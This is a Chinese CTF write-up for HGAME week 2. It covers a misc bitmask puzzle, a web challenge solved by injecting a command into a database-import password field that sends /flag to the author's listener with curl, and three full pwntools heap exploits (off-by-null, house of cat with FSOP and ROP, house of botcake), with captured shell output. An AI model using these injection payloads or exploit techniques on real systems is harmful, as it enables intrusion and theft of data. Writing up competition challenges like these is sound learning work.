

WEEK2-WP

队伍名称: chleynx

队伍ID: chleynx#000069

MISC

Invest in hints

```
1 def find_minimal_combination():
2     # 将二进制字符串转换为整数，便于位运算
3     binary_length = len(hints[51])
4     target = (1 << binary_length) - 1 # 目标: 全1序列
5
6     # 计算每个hint的1的数量和位置
7     hint_info = {}
8     for num, binary in hints.items():
9         value = int(binary, 2)
10        ones_count = bin(value).count('1')
11        hint_info[num] = (value, ones_count)
12
13    # 按1的数量从多到少排序
14    sorted_hints = sorted(hint_info.items(), key=lambda x: x[1][1],
15                           reverse=True)
16
17    # 贪心算法: 每次选择能贡献最多新1的hint
18    result = []
19    current = 0
20    while current != target and len(result) < len(hints):
21        best_contribution = 0
22        best_hint = None
23
24        for hint_num, (value, _) in sorted_hints:
25            if hint_num not in result:
26                new_value = current | value
27                contribution = bin(new_value ^ current).count('1')
28                if contribution > best_contribution:
29                    best_contribution = contribution
30                    best_hint = hint_num
31
32        if best_hint is None:
33            break
34
35        result.append(best_hint)
36        current |= hint_info[best_hint][0]
37
38    return result if current == target else None
```

```
38
39
40 hints = {
41     51:
42     "00001100101001111010000000010010001110100000000000000000001101111000100",
43     52:
44     "011010001110110000000000101000100001001101100000000010010001110011000000",
45     53:
46     "101001000000001011000110001001101000010001101011101010110001000000000000",
47     54:
48     "00001010000010010000100110000100000010000100101100111000001011100000111",
49     55:
50     "01110010100100100000000000000000000011010110011000001111000101100000001000",
51     56:
52     "01110100001001000010010111101111011101001000100010011001000010011100000",
53     57:
54     "10000101010000000011000001100101001010110100000110110010001000100011000",
55     58:
56     "00000111101000001001000001100100100000110000110000101000001101110100000",
57     59:
58     "0100110100100100000000010010011101000000000000001011000100010000101010101",
59     60:
60     "10010010100110011011100010011001100100100001110010010101001000100001111",
61     61:
62     "010010001000110000010000000000011010001110001000000101100001000100010100",
63     62:
64     "00101000010000111000101110000010001000000001000111100010001101001001101",
65     63:
66     "010000101110100000000101000010100010110001001000100000000000000001000000",
67     64:
68     "01110110110011000000010000011000000010000000000000111000000010000010001",
69     65:
70     "01100000000011000110000000010001000000000011001100000110010001011010000",
71     66:
72     "01110011001000101001100001011000011010000001100010100000011010000001000",
73     67:
74     "00111011000011000000100100101000100100101000010001100111001000100001000",
75     68:
76     "01000110010101011100110101110010001111100011010000000101010100000010010",
77     69:
78     "111110101110001101000100000000010001101111010011010001100000011000001001",
79     70:
80     "00000010110101100100100011001011011001100000100010011111000011000001101",
81     71:
82     "00001100001110101000010111001100011100100010011100001010000000001000010",
83     72:
84     "01100000000011001001011100000101000110111000101100010101111000001010100",
85     73:
86     "00001000001010010000001101010110110000110111011011100101011110010110000",
87     74:
88     "01010010100000000111011110001000010110100001000111001101010100000010000",
```

```

65     75:
66     "11010000011000010100001010000111011010100001111010100100100000111110110"
67 }
68 print("最少所需解锁的Hint组合:", find_minimal_combination())
69
70
71 def extract_flag():
72     # 每个位置的所有可能字符
73     flag_chars = [''] * 71
74
75     patterns = {
76         56:
77         ("00000111001000010011001000100010010111011110111101001000010010000101110", "
78         {AuYoACLQa2zq3i69lhNlCxrALma42}"),
79         60:
80         ("11110000100010010101001001110000100100110011001000111011001100101001001", "
81         "hgamgko9CLgQSyzt1bLu8r2mD5wda}"),
82         73:
83         ("00001101001111010100111011011101100001101101010110000001001010000010000", "
84         "e{uYmkfo9i7L0gSCKwy3t69DNCbmDLH}"),
85         72:
86         ("00101010000011110101000110100011101100010100000111010010011000000000110", "
87         "aeAkf3o9Cr0QawyAzi9Cbx82AD42"),
88         57:
89         ("00011000100010001001101100000101101010010100110000011000000001010100001", "
90         "megk9CiLrKwyAqi9hN8rELm}"),
91         70:
92         ("10110000011000011111001000100000110011011010011000100100110101101000000", "
93         "ham5Yo99ACLQy2q3i61NlurCA5Ewd")
94     }
95
96     # 遍历每个模式，找到对应的字符
97     for key, (binary, text) in patterns.items():
98         text_pos = 0
99         for i, bit in enumerate(binary):
100             if bit == '1' and text_pos < len(text):
101                 # 如果这个位置已经有字符，确保它们相同
102                 if flag_chars[i] and flag_chars[i] != text[text_pos]:
103                     print(f"warning: Conflict at position {i}: {flag_chars[i]}
104                     vs {text[text_pos]}")
105                 flag_chars[i] = text[text_pos]
106                 text_pos += 1
107
108     # 组合所有非空字符
109     flag = ''.join(c for c in flag_chars if c)
110     print("Flag:", flag)
111
112 extract_flag()
113
114 # hgame{Aug5Ymkf3o99ACi7Lr0gQsCKawy2Azq3ti691DhNlCbxu8rR2mCAD5LEwLdmHa42}

```


Level 21096 HoneyPot

```
1  command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s  
|/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",  
2      config.RemoteHost,  
3      config.RemoteUsername,  
4      config.RemotePassword, // 未过滤的参数  
5      config.RemoteDatabase,  
6      localConfig.Username,  
7      localConfig.Password,  
8      config.LocalDatabase,  
9  )
```

可直接执行命令 (webhook.site好像访问不到)

```
1  password$(sleep 5 & curl -X POST -d @/flag 'http://47.109.78.104:8082')  
2  [root@iz2vcgyutqtsd8hvyzubwz ~]# nc -lvvp 8082  
3  Ncat: Version 7.50 ( https://nmap.org/ncat )  
4  Ncat: Listening on :::8082  
5  Ncat: Listening on 0.0.0.0:8082  
6  Ncat: Connection from 210.32.32.27.  
7  Ncat: Connection from 210.32.32.27:20915.  
8  POST / HTTP/1.1  
9  Host: 47.109.78.104:8082  
10 User-Agent: curl/7.81.0  
11 Accept: */*  
12 Content-Length: 16  
13 Content-Type: application/x-www-form-urlencoded  
14  
15 hgame{fake_flag}  
16  
17 password$(sleep 5 & /writeflag & curl -X POST -d @/flag  
'http://47.109.78.104:8082?a=$(ls)')  
18 [root@iz2vcgyutqtsd8hvyzubwz ~]# nc -lvvp 8082  
19 Ncat: Version 7.50 ( https://nmap.org/ncat )  
20 Ncat: Listening on :::8082  
21 Ncat: Listening on 0.0.0.0:8082  
22 Ncat: Connection from 210.32.32.27.  
23 Ncat: Connection from 210.32.32.27:8808.  
24 POST /?a=$(ls) HTTP/1.1  
25 Host: 47.109.78.104:8082  
26 User-Agent: curl/7.81.0  
27 Accept: */*  
28 Content-Length: 43  
29 Content-Type: application/x-www-form-urlencoded  
30  
31  
32 payload(/api/import):  
33
```

```

34 {"remote_host":"127.0.0.1","remote_port":"3306","remote_username":"1","remote_password":"password$(sleep 5 & /writeflag & curl -X POST -d @/flag 'http://47.109.78.104:8082')","remote_database":"1","local_database":"1"}
35
36
37 hgame{aa3f482b-7dc8-5a36-02f5-e95c50d4b64a}

```

```

C:\WINDOWS\system32\cmd.exe  root@iZ2vcgyutqttsd8hvyzub
Ncat: Listening on :::8082
Ncat: Listening on 0.0.0.0:8082
Ncat: Connection from 210.32.32.27.
Ncat: Connection from 210.32.32.27:20915.
POST / HTTP/1.1
Host: 47.109.78.104:8082
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 16
Content-Type: application/x-www-form-urlencoded
hgame{fake_flag}^[[[
NCAT DEBUG: Closing fd 5.
You have mail in /var/spool/mail/root
[root@iZ2vcgyutqttsd8hvyzub ~]# nc -lvvp 8082
Ncat: Version 7.50 (https://nmap.org/ncat)
Ncat: Listening on :::8082
Ncat: Listening on 0.0.0.0:8082
Ncat: Connection from 210.32.32.27.
Ncat: Connection from 210.32.32.27:8082.
POST /?a=$(ls) HTTP/1.1
Host: 47.109.78.104:8082
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
hgame{aa3f482b-7dc8-5a36-02f5-e95c50d4b64a}
NCAT DEBUG: Closing fd 5.
You have mail in /var/spool/mail/root
[root@iZ2vcgyutqttsd8hvyzub ~]#

```

pwn

Signin2Heap

1. off-by-null 漏洞
2. unsorted bin 泄露
3. fastbin attack
4. `__free_hook` 劫持

exp:

```

1 from pwn import *
2
3 # 基础配置
4 context.arch = 'amd64'
5 # context.log_level = 'debug'
6
7 # 文件配置
8 LOCAL = False
9 local_file = './vuln'
10 local_libc = './libc-2.27.so'
11
12 # 初始化ELF和libc
13 elf = ELF(local_file)
14 libc = ELF(local_libc, checksec=False)

```

```
15
16 # 建立连接
17 if LOCAL:
18     io = process(local_file)
19 else:
20     io = remote("node1.hgame.vidar.club", 32576)
21
22 # 交互函数
23 def choice(idx: int) -> None:
24     """发送菜单选择"""
25     io.sendafter(b'choice:', p32(idx))
26
27 def add(idx: int, size: int, content: bytes = b'aaaa') -> None:
28     """添加堆块"""
29     choice(1)
30     io.sendlineafter(b'Index: ', str(idx))
31     io.sendlineafter(b'Size: ', str(size))
32     io.sendafter(b'Content: ', content)
33
34 def free(idx: int) -> None:
35     """释放堆块"""
36     choice(2)
37     io.sendlineafter(b'Index: ', str(idx))
38
39 def show(idx: int) -> None:
40     """显示堆块内容"""
41     choice(3)
42     io.sendlineafter(b'Index: ', str(idx))
43
44 def exit_() -> None:
45     """退出程序"""
46     choice(4)
47
48 def exploit():
49     """主要利用流程"""
50     # 1. 初始化堆块
51     for i in range(7):
52         add(i, 0xf8)
53
54     add(7, 0xf8)
55     add(8, 0xf8)
56     add(9, 0x68)
57     add(10, 0x68)
58     add(11, 0x68)
59     add(12, 0x68, b'/bin/sh\x00')
60     add(13, 0x68)
61     add(14, 0xf8)
62     add(15, 0x68)
63
64     # 2. 制造堆块重叠
65     for i in range(7):
66         free(i)
```

```

67     free(13)
68     add(13, 0x68, b'a'*0x60 + p64(0x330))
69
70     # 3. 泄露libc基址
71     free(8)
72     free(14)
73     add(8, 0xa0, b'a')
74     add(0, 0x40)
75     show(9)
76     libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
77     log.success(f"libc_base: {hex(libc_base)}")
78
79     # 4. 获取关键函数地址
80     free_hook = libc_base + libc.symbols['__free_hook']
81     system = libc_base + libc.symbols['system']
82
83     # 5. 劫持 __free_hook
84     free(11)
85     free(10)
86     add(10, 0x80, b'a'*0x60 + p64(0) + p64(0x71) + p64(free_hook))
87     add(1, 0x68)
88     add(2, 0x68, p64(system))
89
90     # 6. 触发shell
91     free(12)
92     io.interactive()
93
94 if __name__ == "__main__":
95     exploit()

```

```

c:\Users\18774\Desktop\HGAME\week2\pwn\pwn1\attachment\exp.py:
  io.sendlineafter(b'Index: ', str(idx))
[+] libc_base: 0x7fc5ed3ef000
[*] Switching to interactive mode
ls
bin
dev
flag
ld-2.27.so
lib
lib32
lib64
libc-2.27.so
libexec
libx32
vuln
cat f*
hgame{sUCcEs5fu1LY-3Xp101t_OFF-By-NU1123a26e}

```


Where is the vulnerability

1. largebin attack修改[IO_list_all]
2. FSOP (File Stream Oriented Programming)
3. house of cat利用

exp:

```
1  #!/usr/bin/env python3
2  # -*- coding: utf-8 -*-
3
4  from pwn import *
5
6  class PWN:
7      def __init__(self, local=False):
8          context.arch = 'amd64'
9          context.log_level = 'info'
10
11         self.local = local
12         if local:
13             self.io = process('./vuln')
14             self.libc = ELF('./libc.so.6', checksec=False)
15         else:
16             self.io = remote("node1.hgame.vidar.club", 31313)
17             self.libc = ELF('./libc.so.6', checksec=False)
18
19         self.elf = ELF('./vuln')
20
21     def choice(self, idx):
22         self.io.sendlineafter(b'>', str(idx))
23
24     def add(self, idx, size):
25         self.choice(1)
26         self.io.sendlineafter(b'Index: ', str(idx))
27         self.io.sendlineafter(b'Size: ', str(size))
28
29     def free(self, idx):
30         self.choice(2)
31         self.io.sendlineafter(b'Index: ', str(idx))
32
33     def edit(self, idx, content):
34         self.choice(3)
35         self.io.sendlineafter(b'Index: ', str(idx))
36         self.io.sendafter(b'Content: ', content)
37
38     def show(self, idx):
39         self.choice(4)
40         self.io.sendlineafter(b'Index: ', str(idx))
41
42     def leak_libc_heap(self):
43         # 泄露libc和heap地址
```

```

44         self.add(0, 0x520)
45         self.add(1, 0x530)
46         self.add(2, 0x518)
47         self.free(0)
48         self.add(3, 0x540)
49
50         # 泄露libc
51         self.show(0)
52         self.libc_base = u64(self.io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
- 0x203f50
53         log.success(f"libc_base: {hex(self.libc_base)}")
54
55         # 泄露heap
56         self.edit(0, b'a'*0x10)
57         self.show(0)
58         self.io.recvuntil(b'a'*0x10)
59         self.heap_base = u64(self.io.recv(6).ljust(8,b"\x00")) - 0x290
60         log.success(f"heap_base: {hex(self.heap_base)}")
61
62         # 初始化一些关键地址
63         self.init_gadgets()
64
65     def init_gadgets(self):
66         # gadgets
67         self.pop_rdi = self.libc_base + 0x10f75b
68         self.pop_rsi = self.libc_base + 0x110a4d
69         self.pop_rdx_leave_ret = self.libc_base + 0x9819d
70         self.pop_rax = self.libc_base + 0xdd237
71         self.pop_rbp = self.libc_base + 0x28a91
72         self.ret = self.libc_base + 0x2882f
73
74         # 关键地址
75         self._IO_list_all = self.libc_base + self.libc.sym['_IO_list_all']
76         self.setcontext = self.libc_base + self.libc.sym['setcontext']
77         self.syscall_ret = self.libc_base + 0x98FA6
78
79         # 堆地址
80         self.fake_io_addr = self.heap_base + 0xd00
81         self.rop_addr = self.heap_base + 0x2750
82
83     def build_fake_IO_FILE(self):
84         fake_IO_FILE = b''
85         fake_IO_FILE += p64(0)*6
86         fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
87         fake_IO_FILE += p64(self.fake_io_addr+0xb0) # _IO_backup_base=rdx
88         fake_IO_FILE += p64(self.setcontext + 61) # _IO_save_end
89         fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10,b'\x00')
90         fake_IO_FILE += p64(0) # _chain
91         fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10,b'\x00')
92         fake_IO_FILE += p64(self.heap_base+0x1000) # _lock
93         fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10,b'\x00')
94         fake_IO_FILE += p64(self.fake_io_addr+0x30) # _wide_data

```

```

95     fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10,b'\x00')
96     fake_IO_FILE += p64(1) # mode
97     fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10,b'\x00')
98     fake_IO_FILE +=
p64(self.libc_base+self.libc.sym['_IO_wfile_jumps']+0x30)
99     fake_IO_FILE += p64(0)*6
100    fake_IO_FILE += p64(self.fake_io_addr+0x40)
101
102    payload = fake_IO_FILE + p64(0)*7 + p64(self.rop_addr) + p64(self.ret)
103    return payload
104
105    def build_rop_chain(self):
106        rop = b''
107        # mprotect
108        rop += p64(self.pop_rdi) + p64(self.libc_base-0x3000)
109        rop += p64(self.pop_rsi) + p64(0x3000)
110        rop += p64(self.pop_rax) + p64(10)
111        rop += p64(self.pop_rbp) + p64(self.rop_addr + 0x48)
112        rop += p64(self.pop_rdx_leave_ret) + p64(7)
113        rop += p64(self.syscall_ret)
114
115        # read shellcode
116        rop += p64(self.pop_rdi) + p64(0)
117        rop += p64(self.pop_rsi) + p64(self.libc_base-0x3000)
118        rop += p64(self.pop_rax) + p64(0)
119        rop += p64(self.pop_rbp) + p64(self.rop_addr + 0xa0)
120        rop += p64(self.pop_rdx_leave_ret) + p64(0xff)
121        rop += p64(self.syscall_ret) + p64(self.libc_base-0x3000)
122        return rop
123
124    def build_shellcode(self):
125        sc = shellcraft.pushstr('./flag')
126        sc += shellcraft.open('rsp', 0, 0)
127        sc += shellcraft.read('rax', 'rsp', 0x30)
128        sc += shellcraft.write(1, 'rsp', 0x30)
129        return asm(sc)
130
131    def pwn(self):
132        self.leak_libc_heap()
133
134        # 准备fake IO_FILE结构
135        self.edit(0, p64(self.libc_base + 0x1f70f0)*2)
136        payload = self.build_fake_IO_FILE()
137
138        # largebin attack
139        self.free(2)
140        self.add(4, 0x518)
141        self.edit(4, payload)
142        self.free(4)
143
144        self.edit(0, p64(self.libc_base+0x1f70f0)*2 + p64(self.heap_base+0x290)
+ p64(self._IO_list_all-0x20))

```

```

145
146         # 准备ROP
147         self.add(5, 0x540)
148         self.add(6, 0x530)
149         self.add(7, 0x530)
150
151         rop = self.build_rop_chain()
152         self.add(8, 0x530)
153         self.edit(8, rop)
154
155         # 触发漏洞
156         self.free(5)
157         self.add(9, 0x550)
158         self.free(7)
159
160         # 发送shellcode
161         self.choice(5)
162         sleep(0.2)
163         self.io.send(self.build_shellcode())
164
165         self.io.interactive()
166
167 if __name__ == "__main__":
168     pwn = PWN(local=False)
169     pwn.pwn()
170
171 # hgame{thE_vuLn3R@BIIlTY_1s-In_tHe-LibR@Ry2d0c}

```

```

[root@iZ2vcgyutqttsd8hvyzubwZ pwn2]# python3 pwn2.py
[+] Opening connection to node1.hgame.vidar.club on port 31313: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line
[*] '/root/pwn2/vuln'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
[+] libc_base: 0x7f4db1bd7000
[+] heap_base: 0x5564077d1000
[*] Switching to interactive mode
hgame{thE_vuLn3R@BIIlTY_1s-In_tHe-LibR@Ry2d0c}
\x00[*] Got EOF while reading in interactive
$

```

Hit list

1. 泄露heap地址:

- 利用smallbin残留数据
- 通过UAF泄露堆地址
- 计算异或key值

2. 泄露libc基址:

- 利用unsortbin残留数据
- 通过show函数泄露

exp:

```
1  #!/usr/bin/env python3
2  # -*- coding: utf-8 -*-
3
4  from pwn import *
5
6  class PWN:
7      def __init__(self, local=False):
8          context.arch = 'amd64'
9          context.log_level = 'info'
10
11         self.local = local
12         if local:
13             self.io = process('./vuln')
14             self.libc = ELF('./libc.so.6', checksec=False)
15         else:
16             self.io = remote("node1.hgame.vidar.club", 30537)
17             self.libc = ELF('./libc.so.6', checksec=False)
18
19         self.elf = ELF('./vuln')
20
21     def choice(self, idx: int) -> None:
22         """菜单选择"""
23         self.io.sendlineafter(b'>', str(idx))
24
25     def add(self, size: int, content: bytes = b'c', id: int = 0, name: str =
26 'n') -> None:
27         """添加堆块"""
28         self.choice(1)
29         self.io.sendlineafter(b'>', str(id))
30         self.io.sendlineafter(b'>', name)
31         self.io.sendlineafter(b'>', str(size))
32         self.io.sendafter(b'>', content)
33
34     def free(self, idx: int) -> None:
35         """释放堆块"""
36         self.choice(2)
37         self.io.sendlineafter(b'>', str(idx))
38
39     def edit(self, idx: int, name: str, size: int, content: bytes) -> None:
40         """编辑堆块"""
41         self.choice(3)
42         self.io.sendlineafter(b'>', str(idx))
43         self.io.sendlineafter(b'>', name)
44         self.io.sendlineafter(b'>', str(size))
45         self.io.sendlineafter(b'>', content)
```

```

46 def show(self, idx: int) -> None:
47     """显示堆块"""
48     self.choice(4)
49     self.io.sendlineafter(b'>', str(idx))
50
51 def exit(self) -> None:
52     """退出程序"""
53     self.choice(5)
54
55 def leak_addresses(self):
56     """泄露关键地址"""
57     # 初始化堆块
58     for i in range(14):
59         self.add(0x100)
60
61     # 构造堆块重叠
62     for i in range(7):
63         self.free(0)
64
65     # 泄露heap基址
66     self.free(0)
67     self.add(0x110)
68     self.free(0)
69     self.add(0x110)
70     self.free(0)
71     self.add(0x110)
72
73     for i in range(7):
74         self.add(0x100)
75
76     self.add(0x100)
77     self.show(14)
78     self.io.recvuntil(b'Information: ')
79     self.heap_base = u64(self.io.recv(6).ljust(8, b'\x00')) - 0xe63
80     self.key = (self.heap_base >> 12) + 1
81
82     # 泄露libc基址
83     self.add(0x40)
84     self.show(15)
85     self.libc_base = u64(self.io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
- 0x21ac63
86
87     log.success(f"heap_base: {hex(self.heap_base)}")
88     log.success(f"key: {hex(self.key)}")
89     log.success(f"libc_base: {hex(self.libc_base)}")
90
91 def build_fake_IO(self):
92     """构造fake IO_FILE"""
93     fake_io_addr = self.heap_base + 0x21c8
94
95     fake_IO_FILE = b''
96     fake_IO_FILE += b'/bin/sh\x00' # _flags=rdi

```

```

97         fake_IO_FILE += p64(0)*7
98         fake_IO_FILE += p64(1) + p64(2) # rcx!=0(FSOP)
99         fake_IO_FILE += p64(fake_io_addr + 0xb0) # _IO_backup_base=rdx
100        fake_IO_FILE += p64(self.libc_base + self.libc.sym['system']) #
    _IO_save_end
101        fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
102        fake_IO_FILE += p64(0) # _chain
103        fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
104        fake_IO_FILE += p64(self.heap_base + 0x1000) # _lock
105        fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
106        fake_IO_FILE += p64(fake_io_addr + 0x30) # _wide_data
107        fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
108        fake_IO_FILE += p64(1) # mode
109        fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
110        fake_IO_FILE += p64(self.libc_base + self.libc.sym['_IO_wfile_jumps'] +
0x30) # vtable
111        fake_IO_FILE += p64(0)*6
112        fake_IO_FILE += p64(fake_io_addr + 0x40)
113
114        return fake_io_addr, fake_IO_FILE
115
116    def pwn(self):
117        """主要利用流程"""
118        self.leak_addresses()
119
120        # 准备house of botcake
121        self.add(0x100)
122        self.add(0x100)
123
124        for i in range(7):
125            self.add(0x110)
126
127        for i in range(7):
128            self.free(18)
129
130        self.free(5)
131        self.free(4)
132        self.add(0x110)
133
134        # 修改size
135        self.choice(1)
136        self.io.sendlineafter(b'>', str(0))
137        self.io.sendlineafter(b'>', 'a')
138        self.io.sendlineafter(b'>', str(-9))
139        self.io.sendlineafter(b'>', hex((self.heap_base + 0x1540)))
140
141        # 准备house of cat
142        self.add(0x120, 0x110*b'\x00' + p64(0x121) + p64((self.libc_base +
self.libc.sym['_IO_list_all'])^self.key))
143
144        fake_io_addr, fake_IO_FILE = self.build_fake_IO()
145        self.add(0x200, fake_IO_FILE)

```

```

146
147     self.add(0x110)
148     self.add(0x110, name=p64(fake_io_addr))
149
150     # 触发漏洞
151     self.exit()
152
153     self.io.interactive()
154
155 if __name__ == "__main__":
156     pwn = PWN(local=False)
157     pwn.pwn()
158
159
160
161 # hgame{my5TerloUS-G00D-5AmaRIT4N-WAntS_@-g1RlFriENd17}

```

```

[*] 'C:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\vuln'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', str(idx))
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', str(id))
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', name)
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', str(size))
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', str(idx))
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:50: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', str(idx))
[+] heap_base: 0x55f4640ea000
[+] key: 0x55f4640eb
[+] libc_base: 0x7f9faec2000
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:137: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', str(0))
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:138: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', 'a')
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:139: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', str(-9))
c:\Users\18774\Desktop\HGAME\week2\pwn\pwn3\attachment\exp.py:140: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self.io.sendlineafter(b'>', hex((self.heap_base + 0x1540)))
[*] Switching to interactive mode
ls
bin
dev
flag
lib
lib32
lib64
libc.so.6
libexec
libx32
vuln
cat f*
hgame{my5TerloUS-G00D-5AmaRIT4N-WAntS_@-g1RlFriENd17}

```